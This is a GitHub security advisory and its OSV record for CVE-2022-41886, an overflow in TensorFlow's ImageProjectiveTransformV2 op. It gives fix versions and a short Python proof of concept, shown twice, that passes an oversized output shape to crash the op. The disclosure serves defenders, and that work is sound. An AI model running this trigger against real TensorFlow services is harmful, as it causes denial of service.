GHSA-54PP-C6PP-7FPX

Vulnerability from github – Published: 2022-11-21 20:40 – Updated: 2022-11-21 20:40
VLAI?
Summary
Overflow in `ImageProjectiveTransformV2`
Details

Impact

When tf.raw_ops.ImageProjectiveTransformV2 is given a large output shape, it overflows.

import tensorflow as tf

interpolation = "BILINEAR"
fill_mode = "REFLECT"
images = tf.constant(0.184634328, shape=[2,5,8,3], dtype=tf.float32)
transforms = tf.constant(0.378575385, shape=[2,8], dtype=tf.float32)
output_shape = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)
tf.raw_ops.ImageProjectiveTransformV2(images=images, transforms=transforms, output_shape=output_shape, interpolation=interpolation, fill_mode=fill_mode)

Patches

We have patched the issue in GitHub commit 8faa6ea692985dbe6ce10e1a3168e0bd60a723ba.

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.

Severity ?
4.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0"
            },
            {
              "fixed": "2.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0"
            },
            {
              "fixed": "2.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0"
            },
            {
              "fixed": "2.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-41886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-131"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-21T20:40:55Z",
    "nvd_published_at": "2022-11-18T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nWhen [`tf.raw_ops.ImageProjectiveTransformV2`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/image/image_ops.cc) is given a large output shape, it overflows.\n```python\nimport tensorflow as tf\n\ninterpolation = \"BILINEAR\"\nfill_mode = \"REFLECT\"\nimages = tf.constant(0.184634328, shape=[2,5,8,3], dtype=tf.float32)\ntransforms = tf.constant(0.378575385, shape=[2,8], dtype=tf.float32)\noutput_shape = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)\ntf.raw_ops.ImageProjectiveTransformV2(images=images, transforms=transforms, output_shape=output_shape, interpolation=interpolation, fill_mode=fill_mode)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [8faa6ea692985dbe6ce10e1a3168e0bd60a723ba](https://github.com/tensorflow/tensorflow/commit/8faa6ea692985dbe6ce10e1a3168e0bd60a723ba).\n\nThe fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.\n",
  "id": "GHSA-54pp-c6pp-7fpx",
  "modified": "2022-11-21T20:40:55Z",
  "published": "2022-11-21T20:40:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-54pp-c6pp-7fpx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41886"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/8faa6ea692985dbe6ce10e1a3168e0bd60a723ba"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/image/image_ops.cc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Overflow in `ImageProjectiveTransformV2`"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.